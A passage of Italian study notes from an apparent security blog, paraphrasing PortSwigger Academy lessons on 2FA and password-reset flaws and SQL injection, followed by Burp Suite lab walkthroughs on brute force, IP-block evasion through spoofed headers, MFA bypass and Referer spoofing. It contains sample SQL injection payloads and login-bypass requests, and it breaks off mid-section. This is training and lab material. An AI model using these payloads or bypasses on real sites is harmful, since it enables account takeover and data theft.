Alcuni siti web, invece, inviano i codici di verifica al cellulare dell’utente sotto forma di messaggio di testo. Anche se tecnicamente questo sta ancora verificando il fattore “qualcosa che hai”, è aperto ad abusi. Innanzitutto, il codice viene trasmesso tramite SMS anziché essere generato dal dispositivo stesso. Ciò crea la possibilità che il codice venga intercettato. Esiste anche il rischio di SIM Swapping, per cui l’aggressore si procura in modo fraudolento una carta SIM con il numero di telefono della vittima. L’aggressore riceverebbe quindi tutti i messaggi SMS inviati alla vittima, compreso quello contenente il codice di verifica.

Bypassare l’autenticazione a due fattori

A volte, l’implementazione dell’autenticazione a due fattori è viziata al punto che può essere completamente aggirata.

Se all’utente viene prima richiesto di inserire una password e poi un codice di verifica in una pagina separata, l’utente si trova effettivamente in uno stato di “accesso” prima di aver inserito il codice di verifica. In questo caso, vale la pena verificare se è possibile passare direttamente alle pagine “solo loggato” dopo aver completato il primo passaggio di autenticazione. Occasionalmente, scoprirai che un sito Web in realtà non controlla se hai completato o meno il secondo passaggio prima di caricare la pagina.

Lab: 2FA simple bypass

Logica di verifica a due fattori difettosa

La logica difettosa nell’autenticazione a due fattori significa che dopo che un utente ha completato il passaggio iniziale di accesso, il sito Web non verifica adeguatamente che lo stesso utente stia completando il secondo passaggio.

Ad esempio, l’utente accede con le normali credenziali nel primo passaggio come segue:

POST /login-steps/first HTTP/1.1
Host: vulnerable-website.com
...
username=carlos&password=qwerty

Gli viene quindi assegnato un cookie relativo all’account, prima di essere portato alla seconda fase del processo di accesso:

HTTP/1.1 200 OK
Set-Cookie: account=carlos

GET /login-steps/second HTTP/1.1
Cookie: account=carlos

Quando si invia il codice di verifica, la richiesta utilizza questo cookie per determinare a quale account l’utente sta tentando di accedere:

POST /login-steps/second HTTP/1.1
Host: vulnerable-website.com
Cookie: account=carlos
...
verification-code=123456

n questo caso, un utente malintenzionato potrebbe accedere utilizzando le proprie credenziali, ma poi modificare il valore del cookie dell’account con qualsiasi nome utente arbitrario quando invia il codice di verifica.

POST /login-steps/second HTTP/1.1
Host: vulnerable-website.com
Cookie: account=victim-user
...
verification-code=123456

Ciò è estremamente pericoloso se l’aggressore è in grado di forzare il codice di verifica in quanto gli consentirebbe di accedere ad account di utenti arbitrari basati interamente sul loro nome utente. Non avrebbero nemmeno bisogno di conoscere la password dell’utente.

Lab: 2FA broken logic

Brute-forcing codici di verifica 2FA

Come per le password, i siti web devono adottare misure per impedire la forzatura bruta del codice di verifica 2FA. Ciò è particolarmente importante perché il codice è spesso un semplice numero di 4 o 6 cifre. Senza un’adeguata protezione dalla forza bruta, decifrare un codice del genere è banale.
Alcuni siti Web tentano di impedire ciò disconnettendo automaticamente un utente se inserisce un certo numero di codici di verifica errati. Ciò è inefficace nella pratica perché un utente malintenzionato avanzato può persino automatizzare questo processo in più fasi creando macro per Burp Intruder. A questo scopo è possibile utilizzare anche l’estensione Turbo Intruder.

Lab: 2FA bypass using a brute-force attack

(torna su)

Vulnerabilità in altri meccanismi di autenticazione

In questa sezione esamineremo alcune delle funzionalità supplementari correlate all’autenticazione e dimostreremo come queste possano essere vulnerabili. Vi sono anche diversi laboratori interattivi che possono essere utilizzati per mettere in pratica l’argomento.

Oltre alla funzionalità di accesso di base, la maggior parte dei siti Web fornisce funzionalità supplementari per consentire agli utenti di gestire il proprio account. Ad esempio, gli utenti in genere possono modificare la propria password o reimpostarla quando la dimenticano. Questi meccanismi possono anche introdurre vulnerabilità che possono essere sfruttate da un utente malintenzionato.

I siti web di solito fanno attenzione a evitare vulnerabilità ben note nelle loro pagine di accesso. Ma è facile trascurare il fatto che è necessario adottare misure simili per garantire che le funzionalità correlate siano altrettanto robuste. Ciò è particolarmente importante nei casi in cui un utente malintenzionato è in grado di creare il proprio account e, di conseguenza, ha un facile accesso per studiare queste pagine aggiuntive.

Mantenere gli utenti connessi

Una caratteristica comune è la possibilità di rimanere connesso anche dopo aver chiuso una sessione del browser. Di solito si tratta di una semplice casella etichettata come “Ricordami” o “Resta connesso”.

Questa funzionalità viene spesso implementata generando un token “ricordami” di qualche tipo, che viene quindi archiviato in un cookie persistente. Poiché il possesso di questo cookie consente effettivamente di bypassare l’intero processo di accesso, è buona norma che questo cookie sia poco pratico da indovinare. Tuttavia, alcuni siti Web generano questo cookie in base a una concatenazione prevedibile di valori statici, come il nome utente e un timestamp. Alcuni addirittura utilizzano la password come parte del cookie. Questo approccio è particolarmente pericoloso se un utente malintenzionato è in grado di creare il proprio account perché può studiare il proprio cookie e potenzialmente dedurre come viene generato. Una volta elaborata la formula, possono provare a forzare i cookie di altri utenti per ottenere l’accesso ai loro account.

Alcuni siti Web presumono che se il cookie è crittografato in qualche modo non sarà individuabile anche se utilizza valori statici. Sebbene ciò possa essere vero se eseguito correttamente, la “crittografia” ingenua del cookie utilizzando una semplice codifica bidirezionale come Base64 non offre alcuna protezione di sorta. Anche l’utilizzo di una crittografia adeguata con una funzione hash unidirezionale non è completamente a prova di bomba. Se l’aggressore è in grado di identificare facilmente l’algoritmo di hashing e non viene utilizzato alcun salt, può potenzialmente forzare il cookie semplicemente eseguendo l’hashing dei propri elenchi di parole. Questo metodo può essere utilizzato per aggirare i limiti dei tentativi di accesso se un limite simile non viene applicato alle ipotesi sui cookie.

Lab: Brute-forcing a stay-logged-in cookie

Anche se l’aggressore non è in grado di creare il proprio account, potrebbe comunque riuscire a sfruttare questa vulnerabilità. Utilizzando le tecniche consuete, come XSS, un utente malintenzionato potrebbe rubare il cookie “ricordami” di un altro utente e dedurre da quello come è costruito il cookie. Se il sito web è stato creato utilizzando un framework open source, i dettagli chiave della costruzione dei cookie potrebbero anche essere documentati pubblicamente.

In alcuni rari casi, potrebbe essere possibile ottenere la password effettiva di un utente in chiaro da un cookie, anche se è sottoposta ad hashing. Online sono disponibili versioni con hash di elenchi di password noti, quindi se la password dell’utente appare in uno di questi elenchi, decodificare l’hash a volte può essere banale come semplicemente incollarlo in un motore di ricerca. Ciò dimostra l’importanza del salt in una crittografia efficace.

Lab: Offline password cracking

Reimpostazione delle password degli utenti

In pratica, è un dato di fatto che alcuni utenti dimenticheranno la propria password, quindi è normale avere un modo per reimpostarla. Poiché in questo scenario la consueta autenticazione basata su password è ovviamente impossibile, i siti Web devono fare affidamento su metodi alternativi per assicurarsi che l’utente reale reimposti la propria password. Per questo motivo, la funzionalità di reimpostazione della password è intrinsecamente pericolosa e deve essere implementata in modo sicuro.

Esistono diversi modi in cui questa funzionalità viene comunemente implementata, con diversi gradi di vulnerabilità.

Invio password tramite e-mail

Dovrebbe essere ovvio che inviare agli utenti la loro password attuale non dovrebbe mai essere possibile se un sito web gestisce le password in modo sicuro. Alcuni siti Web generano invece una nuova password e la inviano all’utente tramite e-mail.

In generale è da evitare l’invio di password persistenti su canali non sicuri. In questo caso, la sicurezza si basa sulla scadenza della password generata dopo un periodo molto breve o sulla modifica immediata della password da parte dell’utente. Altrimenti, questo approccio è altamente suscettibile agli attacchi man-in-the-middle.

Anche la posta elettronica non è generalmente considerata sicura dato che le caselle di posta sono persistenti e non realmente progettate per l’archiviazione sicura di informazioni riservate. Molti utenti inoltre sincronizzano automaticamente la propria casella di posta tra più dispositivi attraverso canali non sicuri.

Reimpostazione delle password utilizzando un URL

Un metodo più efficace per reimpostare le password consiste nell’inviare agli utenti un URL univoco che li indirizzi a una pagina di reimpostazione della password. Le implementazioni meno sicure di questo metodo utilizzano un URL con un parametro facilmente indovinabile per identificare quale account viene reimpostato, ad esempio: 

http://vulnerable-website.com/reset-password?user=victim-user

In questo esempio, un utente malintenzionato potrebbe modificare il parametro utente per fare riferimento a qualsiasi nome utente identificato. Verrebbero quindi indirizzati direttamente a una pagina in cui possono potenzialmente impostare una nuova password per questo utente arbitrario.

Un’implementazione migliore di questo processo consiste nel generare un token ad alta entropia difficile da indovinare e creare l’URL di reimpostazione basato su quello. Nella migliore delle ipotesi, questo URL non dovrebbe fornire suggerimenti su quale password dell’utente viene reimpostata.

http://vulnerable-website.com/reset-password?token=a0ba0d1cb3b63d13822572fcff1a241895d893f659164d4cc550b421ebdd48a8

Quando l’utente visita questo URL, il sistema dovrebbe verificare se questo token esiste sul back-end e, in tal caso, quale password dell’utente deve reimpostare. Questo token dovrebbe scadere dopo un breve periodo di tempo ed essere distrutto immediatamente dopo la reimpostazione della password.

Tuttavia, alcuni siti Web non riescono a convalidare nuovamente il token quando viene inviato il modulo di reimpostazione. In questo caso, un utente malintenzionato potrebbe semplicemente visitare il modulo di reimpostazione dal proprio account, eliminare il token e sfruttare questa pagina per reimpostare la password di un utente arbitrario.

Lab: Password reset broken logic

Se l’URL nell’e-mail di reimpostazione viene generato dinamicamente, anche questo potrebbe essere vulnerabile all’avvelenamento da reimpostazione della password. In questo caso, un utente malintenzionato può potenzialmente rubare il token di un altro utente e utilizzarlo per modificare la propria password.

Lab: Password reset poisoning via middleware

Per saperne di più

Password reset poisoning

Modifica delle password degli utenti

In genere, la modifica della password comporta l’immissione della password corrente e quindi della nuova password due volte. Queste pagine si basano fondamentalmente sullo stesso processo di verifica della corrispondenza dei nomi utente e delle password attuali come fa una normale pagina di accesso. Pertanto, queste pagine possono essere vulnerabili alle stesse tecniche.

La funzionalità di modifica della password può essere particolarmente pericolosa se consente a un utente malintenzionato di accedervi direttamente senza aver effettuato l’accesso come utente vittima. Ad esempio, se il nome utente viene fornito in un campo nascosto, un utente malintenzionato potrebbe essere in grado di modificare questo valore nella richiesta per prendere di mira utenti arbitrari. Questo può essere potenzialmente sfruttato per enumerare nomi utente e password a forza bruta.

Lab: Password brute-force via password change

(torna su)

SQL injection

PortSwigger Academy – SQL injection

Ho seguito il percorso di apprendimento suggerito da “PortSwigger Academy” per essere indirizzato nella giusta direzione. Consiglio di iscriversi alla piattaforma, seguire le lezioni e soprattutto svolgere e completare i lab 🙂

SQL injection

Cos’è l’ SQL injection (SQLi)?

SQL injection (SQLi) è una vulnerabilità della sicurezza Web che consente a un utente malintenzionato di interferire con le query che un’applicazione effettua al proprio database. Generalmente consente a un utente malintenzionato di visualizzare dati che normalmente non è in grado di recuperare. Ciò potrebbe includere dati appartenenti ad altri utenti o qualsiasi altro dato a cui l’applicazione stessa è in grado di accedere. In molti casi, un utente malintenzionato può modificare o eliminare questi dati, causando modifiche persistenti al contenuto o al comportamento dell’applicazione.

In alcune situazioni, un utente malintenzionato può intensificare un attacco SQL injection per compromettere il server sottostante o un’altra infrastruttura back-end oppure eseguire un attacco denial-of-service.

Qual è l’impatto di un attacco SQL injection riuscito?

Un attacco SQL injection riuscito può comportare l’accesso non autorizzato a dati sensibili, come password, dettagli della carta di credito o informazioni personali dell’utente. Molte violazioni dei dati di alto profilo negli ultimi anni sono state il risultato di attacchi SQL injection, che hanno portato a danni alla reputazione e multe normative. In alcuni casi, un utente malintenzionato può ottenere una backdoor persistente nei sistemi di un’organizzazione, portando a una compromissione a lungo termine che può passare inosservata per un periodo prolungato.

Come rilevare le vulnerabilità di SQL injection

La maggior parte delle vulnerabilità di SQL injection può essere trovata in modo rapido e affidabile utilizzando lo scanner di vulnerabilità Web di Burp Suite.

L’SQL injection può essere rilevata manualmente utilizzando una serie sistematica di test su ogni punto di ingresso nell’applicazione. Ciò comporta in genere:

  • Inserendo il carattere di apice singolo e cercando errori o altre anomalie.
  • Invio di una sintassi specifica di SQL che restituisce il valore di base (originale) del punto di ingresso e un valore diverso e ricerca di differenze sistematiche nelle risposte dell’applicazione risultanti.
  • Invio di condizioni booleane come OR 1=1 e OR 1=2 e ricerca delle differenze nelle risposte dell’applicazione.
  • Invio di payload progettati per attivare ritardi temporali durante l’esecuzione all’interno di una query SQL e ricerca delle differenze nel tempo impiegato per rispondere.
  • Invio di payload OAST progettati per attivare un’interazione di rete fuori banda quando eseguita all’interno di una query SQL e monitoraggio di eventuali interazioni risultanti.

SQL injection in diverse parti della query

La maggior parte delle vulnerabilità di SQL injection si verifica all’interno della clausola WHERE di una query SELECT. Questo tipo di SQL injection è generalmente ben compreso dai tester esperti.

Ma le vulnerabilità di SQL injection possono in linea di principio verificarsi in qualsiasi posizione all’interno della query e all’interno di diversi tipi di query. Le altre posizioni più comuni in cui si verifica l’iniezione SQL sono:

  • Nelle istruzioni UPDATE, all’interno dei valori aggiornati o nella clausola WHERE.
  • Nelle istruzioni INSERT, all’interno dei valori inseriti.
  • Nelle istruzioni SELECT, all’interno del nome della tabella o della colonna.
  • Nelle istruzioni SELECT, all’interno della clausola ORDER BY.

Esempi di iniezione SQL

Esiste un’ampia varietà di vulnerabilità, attacchi e tecniche di SQL injection, che si verificano in situazioni diverse. Alcuni esempi comuni di SQL injection includono:

Recupero di dati nascosti

Considera un’applicazione per lo shopping che mostra i prodotti in diverse categorie. Quando l’utente fa clic sulla categoria Regali, il browser richiede l’URL:

https://insecure-website.com/products?category=Gifts

Ciò fa sì che l’applicazione esegua una query SQL per recuperare i dettagli dei prodotti rilevanti dal database:

SELECT * FROM products WHERE category = ’Gifts’ AND released = 1

Questa query SQL chiede al database di restituire:

  • tutti i dettagli (*)
  • dalla tabella dei prodotti
  • dove la categoria è Regali
  • e rilasciato è 1.

La restrizione released = 1 viene utilizzata per nascondere i prodotti che non sono stati rilasciati. Per i prodotti non rilasciati, presumibilmente released = 0.

L’applicazione non implementa alcuna difesa contro gli attacchi SQL injection, quindi un utente malintenzionato può costruire un attacco come:

https://insecure-website.com/products?category=Gifts’–

Ciò si traduce nella query SQL:

      SELECT * FROM products WHERE category = ’Gifts’--’ AND released = 1

La cosa fondamentale qui è che la sequenza di doppio trattino è un indicatore di commento in SQL e significa che il resto della query viene interpretato come un commento. Ciò rimuove efficacemente il resto della query, quindi non include più AND released = 1. Ciò significa che vengono visualizzati tutti i prodotti, inclusi i prodotti non rilasciati.

Andando oltre, un utente malintenzionato può fare in modo che l’applicazione visualizzi tutti i prodotti in qualsiasi categoria, comprese le categorie di cui non è a conoscenza:

https://insecure-website.com/products?category=Gifts’+OR+1=1–

La query modificata restituirà tutti gli elementi in cui la categoria è Regali o 1 è uguale a 1. Poiché 1=1 è sempre vero, la query restituirà tutti gli elementi.

Avvertimento

Prestare attenzione quando si inserisce la condizione OR 1=1 in una query SQL. Anche se questo può essere innocuo nel contesto iniziale in cui stai effettuando l’iniezione, è normale che le applicazioni utilizzino i dati di una singola richiesta in più query diverse. Se la tua condizione raggiunge un’istruzione UPDATE o DELETE, ad esempio, ciò può comportare una perdita accidentale di dati.

Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

(torna su)

Sovvertire la logica dell’applicazione

Considera un’applicazione che consente agli utenti di accedere con un nome utente e una password. Se un utente invia il nome utente wiener e la password bluecheese, l’applicazione controlla le credenziali eseguendo la seguente query SQL:

SELECT * FROM users WHERE username = ’wiener’ AND password = ’bluecheese’

Se la query restituisce i dettagli di un utente, l’accesso ha esito positivo. In caso contrario, viene rifiutato.

In questo caso, un utente malintenzionato può accedere come qualsiasi utente senza password semplicemente utilizzando la sequenza di commenti SQL, per rimuovere il controllo della password dalla clausola WHERE della query. Ad esempio, inviando il nome utente administrator’– e una password vuota si ottiene la seguente query:

SELECT * FROM users WHERE username = ’administrator’--’ AND password =’’

Questa query restituisce l’utente il cui nome utente è administrator e fa accedere correttamente l’attaccante come quell’utente.

Lab: SQL injection vulnerability allowing login bypass

(torna su)

Recupero di dati da altre tabelle di database

Nei casi in cui i risultati di una query SQL vengono restituiti all’interno delle risposte dell’applicazione, un utente malintenzionato può sfruttare una vulnerabilità di SQL injection per recuperare i dati da altre tabelle all’interno del database. Questa operazione viene eseguita utilizzando la parola chiave UNION, che consente di eseguire un’ulteriore query SELECT e aggiungere i risultati alla query originale.

Ad esempio, se un’applicazione esegue la seguente query contenente l’input dell’utente “Gift”:

SELECT name, description FROM products WHERE category = ’Gifts’

quindi un utente malintenzionato può inviare l’input:

’ UNION SELECT username, password users--

Ciò farà sì che l’applicazione restituisca tutti i nomi utente e le password insieme ai nomi e alle descrizioni dei prodotti.

Per saperne di più

SQL injection UNION attacks

Vulnerabilità di blind SQL injection

Molte istanze di SQL injection sono vulnerabilità cieche. Ciò significa che l’applicazione non restituisce i risultati della query SQL o i dettagli di eventuali errori del database all’interno delle sue risposte. Le vulnerabilità cieche possono ancora essere sfruttate per accedere a dati non autorizzati, ma le tecniche coinvolte sono generalmente più complicate e difficili da eseguire.

A seconda della natura della vulnerabilità e del database interessato, è possibile utilizzare le seguenti tecniche per sfruttare le vulnerabilità della blind SQL injection:

  • È possibile modificare la logica della query per attivare una differenza rilevabile nella risposta dell’applicazione a seconda della verità di una singola condizione. Ciò potrebbe comportare l’inserimento di una nuova condizione in una logica booleana o l’attivazione condizionale di un errore come una divisione per zero.
  • È possibile attivare in modo condizionale un ritardo nell’elaborazione della query, consentendo di dedurre la verità della condizione in base al tempo impiegato dall’applicazione per rispondere.
  • È possibile attivare un’interazione di rete fuori banda utilizzando le tecniche OAST. Questa tecnica è estremamente potente e funziona in situazioni in cui le altre tecniche non funzionano. Spesso puoi estrarre direttamente i dati tramite il canale fuori banda, ad esempio inserendo i dati in una ricerca DNS per un dominio che controlli.

Per saperne di più

Blind SQL injection

Iniezione SQL di secondo ordine

L’iniezione SQL di primo ordine si verifica quando l’applicazione prende l’input dell’utente da una richiesta HTTP e, nel corso dell’elaborazione di tale richiesta, incorpora l’input in una query SQL in modo non sicuro.

Nell’iniezione SQL di secondo ordine (nota anche come iniezione SQL archiviata), l’applicazione riceve l’input dell’utente da una richiesta HTTP e lo archivia per un utilizzo futuro. Questo di solito viene fatto inserendo l’input in un database, ma non si verifica alcuna vulnerabilità nel punto in cui i dati sono archiviati. Successivamente, durante la gestione di una richiesta HTTP diversa, l’applicazione recupera i dati archiviati e li incorpora in una query SQL in modo non sicuro.

L’iniezione SQL di secondo ordine si verifica spesso in situazioni in cui gli sviluppatori sono a conoscenza delle vulnerabilità dell’iniezione SQL e quindi gestiscono in modo sicuro il posizionamento iniziale dell’input nel database. Quando i dati vengono successivamente elaborati, sono considerati sicuri, poiché sono stati precedentemente inseriti nel database in modo sicuro. A questo punto, i dati vengono gestiti in modo non sicuro, perché lo sviluppatore li ritiene erroneamente attendibili.

Esame del database

Alcune funzionalità principali del linguaggio SQL sono implementate allo stesso modo su piattaforme di database popolari e così tanti modi per rilevare e sfruttare le vulnerabilità di SQL injection funzionano in modo identico su diversi tipi di database.

Tuttavia, ci sono anche molte differenze tra i database comuni. Ciò significa che alcune tecniche per rilevare e sfruttare l’iniezione SQL funzionano in modo diverso su piattaforme diverse. Per esempio:

  • Sintassi per la concatenazione di stringhe.
  • Commenti.
  • Query in batch (o in pila).
  • API specifiche della piattaforma.
  • Messaggio di errore.

Per saperne di più

SQL injection cheat sheet

Dopo l’identificazione iniziale di una vulnerabilità SQL injection, è generalmente utile ottenere alcune informazioni sul database stesso. Queste informazioni possono spesso aprire la strada a un ulteriore sfruttamento.

È possibile interrogare i dettagli della versione per il database. Il modo in cui ciò viene fatto dipende dal tipo di database, quindi puoi dedurre il tipo di database da qualsiasi tecnica funzioni. Ad esempio, su Oracle puoi eseguire:

SELECT * FROM v$version

È inoltre possibile determinare quali tabelle di database esistono e quali colonne contengono. Ad esempio, sulla maggior parte dei database è possibile eseguire la seguente query per elencare le tabelle:

SELECT * FROM information_schema.tables

Per saperne di più

SQL injection in diversi contesti

In tutti i laboratori finora, hai utilizzato la stringa di query per iniettare il tuo payload SQL dannoso. Tuttavia, è importante notare che è possibile eseguire attacchi SQL injection utilizzando qualsiasi input controllabile elaborato come query SQL dall’applicazione. Ad esempio, alcuni siti Web accettano input in formato JSON o XML e lo utilizzano per interrogare il database.

Questi diversi formati possono persino fornire modi alternativi per offuscare gli attacchi (obfuscate attacks) che altrimenti sarebbero bloccati a causa di WAF e altri meccanismi di difesa. Le implementazioni deboli spesso cercano solo parole chiave SQL injection comuni all’interno della richiesta, quindi potresti essere in grado di aggirare questi filtri semplicemente codificando o eseguendo l’escape dei caratteri nelle parole chiave proibite. Ad esempio, la seguente SQL injection basata su XML utilizza una sequenza di escape XML per codificare il carattere S in SELECT:

<stockCheck>
	<productId>
	123
	</productId>
	<storeId>
	999 &#x53;ELECT * FROM information_schema.tables
	</storeId>
	</stockCheck>

Questo verrà decodificato sul lato server prima di essere passato all’interprete SQL.

Lab: SQL injection with filter bypass via XML encoding

Come prevenire l’SQL injection

La maggior parte delle istanze di SQL injection può essere prevenuta utilizzando query con parametri (note anche come istruzioni preparate) anziché la concatenazione di stringhe all’interno della query.

Il seguente codice è vulnerabile all’iniezione SQL perché l’input dell’utente è concatenato direttamente nella query:

String query = "SELECT * FROM products WHERE category = '"+ input + "'";
    Statement statement = connection.createStatement();
    ResultSet resultSet = statement.executeQuery(query);

Questo codice può essere facilmente riscritto in modo da impedire all’input dell’utente di interferire con la struttura della query:

PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");
    statement.setString(1, input);
    ResultSet resultSet = statement.executeQuery();

Le query con parametri possono essere utilizzate per qualsiasi situazione in cui l’input non attendibile viene visualizzato come dati all’interno della query, inclusi la clausola WHERE e i valori in un’istruzione INSERT o UPDATE. Non possono essere utilizzati per gestire l’input non attendibile in altre parti della query, come i nomi di tabelle o colonne o la clausola ORDER BY. La funzionalità dell’applicazione che inserisce dati non attendibili in quelle parti della query dovrà adottare un approccio diverso, ad esempio inserire nella whitelist i valori di input consentiti o utilizzare una logica diversa per fornire il comportamento richiesto.

Affinché una query con parametri sia efficace nel prevenire l’iniezione SQL, la stringa utilizzata nella query deve essere sempre una costante hardcoded e non deve mai contenere dati variabili di alcuna origine. Non essere tentato di decidere caso per caso se un elemento di dati è attendibile e continua a utilizzare la concatenazione di stringhe all’interno della query per i casi considerati sicuri. È fin troppo facile commettere errori sulla possibile origine dei dati o che le modifiche in altro codice violino le ipotesi su quali dati sono contaminati.

Per saperne di più

Find SQL injection vulnerabilities using Burp Suite’s web vulnerability scanner

Exploiting Authentication and Access Control Mechanisms with Burp Suite

Exploiting Authentication and Access Control Mechanisms with Burp Suite.

In questo articolo ho raccolto in maniera più o meno ordinata alcuni appunti presi durante il relativo corso seguito su Hakin9, alla cui piattaforma rimando per il materiale necessario.

Note sulla Burp Suite Community Edition.

È stata utilizzata la versione Community Edition e attese le limitazioni imposte dalla da tale versione, occorre installare alcune  estensioni. Nel tab Extender/BAppStore cercare e installare “Turbo Intruder” e “JWT Editor”.

In Proxy/HTTPhistory viene mostrata l’interazione con sito: request/response
In Target/Scope aggiungere in “Include in scope” l’url del sito target in modo tale da visualizzare solo quello e non eventualmente altro contenuto web visitato. Quindi in Proxy/HTTPhistory cliccare sulla riga dei filtri e spuntare “Show only in-scope items”.

User Enumeration.

Con Burp Suite professional: clic tasto destro del mouse sulla riga nell’HTTPhistory (host/method/url …) quindi “Send to Intruder” e poi tab Intruder.

Con Burp Suite CE: tasto dx, “Extensions>Turbo Intruder>Send turbo intruder”.

Dopo aver tentato il login con credenziali errate, nella finestra “HTTPhistory” seleziono la riga che ha come metodo “POST” (ed ha anche i parametri) e invio a “Intruder”:

Nella finestra “Raw” di Intruder sostituisco il valore assegnato a “username” con l’operatore %s, al quale verranno passati gli username elencati nella lista “users” mediante il ciclo for:

Dall’elenco prodotto dal risultato è possibile notare che l’utente “cathy” ha i campi “Words” e “Length” differenti dal resto degli username, questo significa che la pagina di login ha risposto in maniera diversa per questo utente, probabilmente perché è un username valido:

Nalla finestra “Raw” assegno a username il nome “cathy”, mentre a password l’operatore %s e modifico il ciclo for in modo tale che a “%s” vengano passati gli elementi della lista “passwords”:

Dall’elenco del risultato è possibile notare che la password “1337ing” ha valore “Word” e “Lengh” differenti, a significare che è la password corretta per l’utente “cathy”:

Infatti, inserendo le credenziali “cathy” e “1337ing”, ottengo l’accesso.

Brute Force Evasion.

Nel tab Proxy ci sono le finestre “Request” e “ Response”, poiché in queste non possiamo scrivere  per modificarne il contenuto (Request) e verificarne l’esito (Response), viene usato il “Repeater

Tasto dx mouse sulla riga in HTTPhistory e “Send to Repeater” e verrà attivato il relativo tab.

In alto a sinistra compare un numero, che si raccomanda di cambiare per avere traccia delle modifiche con un doppio clic, ad esempio in “Brute-force evasion” se stiamo tentando un attacco brute force.

Uno dei possibili utilizzi è quello di superare il ban temporaneo quando si tenta di fare login per un certo numero di volte con credenziali errate.

Nella finestra “Request” di Repeater si può modificare il codice inserendo ad esempio la riga “X-Forwarded-For: 192.168.12.92” nella quale si fornisce un IP fittizio da modificare raggiunto il numero dei tentativi concessi:

Sulla finestra “Request” tasto dx del muose > “Extensions>Turbo Intruder>Send turbo intruder”, andiamo a modificare l’html sostituendo le ultime cifre dell’IP con l’operatore di formattazione %s e assegnando a username=%s, mentre con lo script di Python li gestiremo mediante un ciclo for:

e così anche per le passwords:

Note: oltre a “X-Forwarded-For:”, “X-Forwarded-By:” “X-Real-IP:”, “X-Forwarded-Host:


Dopo aver tentato il login con credenziali errate, nella finestra “HTTPhistory” seleziono la riga che ha come metodo “POST” (ed ha anche i parametri) e invio a “Intruder”:

Nella finestra “Raw” di Intruder sostituisco il valore assegnato a “username” con l’operatore %s, al quale verranno passati gli username elencati nella lista “users” mediante il ciclo for:

Purtroppo dopo aver lanciato lo script non ottengo nessuna informazione utile a causa dell’IP-based block protection:

Per aggirare l’ IP-based block protection dalla finestra “HTTPhistory” invio la precedente riga (quella con URL del login e con metodo “POST”) al “Repeater” che mi permetterà di modificare il codice html nella  finestra “Raw” di “Request”. Posso così bypassare la protezione utilizzando l’assegnazione a “X-Real-IP:” di un indirizzo IP fittizio. Poi premo “Send” per inviare la richiesta e poi invio a “Intruder”:

Ora modifico le ultime cifre dell’IP appena inserito con l’operatore %s e il valore assegnato a username sempre con l’operatore %s, in questo modo con il ciclo for posso inviare oltre i valori della lista “users” anche valori numerici (in questo caso in un intervallo da 0 a 100) come ultime cifre dell’indirizzo IP; questo mi permetterà di avere ad ogni richiesta di login un IP differente e quindi bypassare l’ IP-based block protection:

Infatti, ora riesco a bypassare la protezione sull’IP e posso notare che l’utente “anonymous” ha valori “Words” e “Length” differenti dagli altri username:

Modifico script, nella finestra “Raw” assegno a username il nome “anonymous”, mentre a password l’operatore %s e modifico il ciclo for in modo tale che a “%s” vengano passati gli elementi della lista “passwords”:

L’esecuzione dello script mostra che la password “unknown” ha valori “Words” e “Length” differenti dagli altri a significare che abbiamo trovato la password per l’utente “anonymous”:

Utilizzando le credenziali così ottenute, riesco ad eseguire l’accesso correttamente alla pagina.

Wordlist:

MFA Brute Force.

MFA: autenticazione multi fattore. Esempio in cui il login richiede oltre a utente e password anche l’inserimento di un codice:

Dall’analisi del codice della pagina, appuriamo che il l’MFA richiede un codice numerico di 4 cifre e quindi modifico lo script come segue:

L’esecuzione del brute force trova il codice MFA corretto:

Ottenendo così l’accesso.

MFA No Restrictions.

Provo ad accedere alla pagine “/admin”:

e credenziali errate restituiscono “non autorizzato”:

Inserisco le credenziali di login “admin/admin” e mi viene richiesto l’MFA:

Attivo “Repeater”:

Torno all’HTTPhistory:

noto che nel “Request” non ci sono cookie, mentre nel “Response” trovo un “Set-Cookie: session=”, questo sta a significare che il server web comunque sta mantenendo traccia della sessione.

Copio la sessione col cookie:

e incollo nel “Request” del “Repeater” (NB: va incollato nella Raw “Request” selezionando in HTTPhistory un URL prima che si acceda a “/mfa”, cioè in quello di “/login” subito prima):

premo “Send” e nel “Response” avrò “200 OK”:

così ho superato il MFA perchè sono rimasto nella stessa sessione. 
Tasto dx su “Request” e invio al browser “In original session”:

Copio l’url:

e incollo al posto dell’url di richiesta MFA:

e ottengo l’accesso bypassando l’MFA.

Endpoint Enumeration

Accedendo con le corrette credenziali vengo indirizzato alla “dashboard”. Invio la pagina all’Intruder:

Sostituisco l’endpoint “dashboard” con l’operatore di conversione “%s” in modo da iterare i valori di una lista di endpoints:

Ho filtrato i risultati affinché vengano esclusi quelli con status http 404. L’esecuzione dello script mi permette di trovare come payload l’endpoint “.htaccess” e un commento che dice “# Remember to add .htaccess on the /sUp3r_s3cr3t_4dm1n”.

Nell’URL della pagina, sostituisco l’endpoint “dashboard” con “sUp3r_s3cr3t_4dm1n” e trovo il flag.

Origin-Based AC

Invio la pagina con method GET al repeater:

E modifico il parametro di GET al fine di trovare una pagina valida:

Si potrebbe usare un dizionario già pronto, tipo:

Invio il Request al Turbo Intruder e modifico il RAW in modo che attraverso lo script invio i diversi “endpoints”:

Posso migliorare l’output dello script, filtrando le risposte attraverso l’esclusione delle “404 NOT FOUND”, allo scopo usiamo i “DECORATOR”, supportati da Turbo Intruder:

Nella fattispecie, scelgo il “FiltersStatus”:

E lo modifichiamo alla scopo che escluda le pagine “404”, ecco lo script completo:

Quindi “Attack” ed ecco la risposta:

Noto che col suffisso “admin” ho tentato l’accesso ad una pagina alla quale non sono autorizzato, ciò significa che la pagina esiste. Raffino l’iterazione aggiungendo il suffisso “admin”:

Rilancio lo script, ma purtroppo ottengo nuovamente una pagina alla quale non sono autorizzato accedere:

Provo un’altra strada, accedo con le classiche credenziali: hakin9/burpsuite:

Riesco ad accedere ma non ottengo flag:

Allora mi sposto sul tab “Proxy” e noto che vi è una sessione cookie relativa all’accesso appena ottenuto:

Quindi invio al “Repeater”, dove al posto di “dashboard” sostituisco “admin/secret”, clicco su “send” ed ottengo questa volta “Invalid referer”:

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer

Poiché “Referer” tiene traccia anche della pagina da dove “provengo”, aggiungo un “Referer” alla pagina “admin” che so che esiste, infatti invio con “Send” e ottengo “200 OK”:

Quindi invio al browser:

Copio ed incollo il link al posto dell’url della pagina e ottengo l’accesso:

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Origin

RBACRole Based Access Control

Invio la pagina di login iniziale all’Intruder:

